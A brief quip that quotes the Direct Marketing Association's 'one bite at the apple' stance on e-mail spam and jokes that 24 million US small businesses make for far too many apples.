'one bite at the apple' rule. Give me one chance [and] then I won't contact you again. - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples.
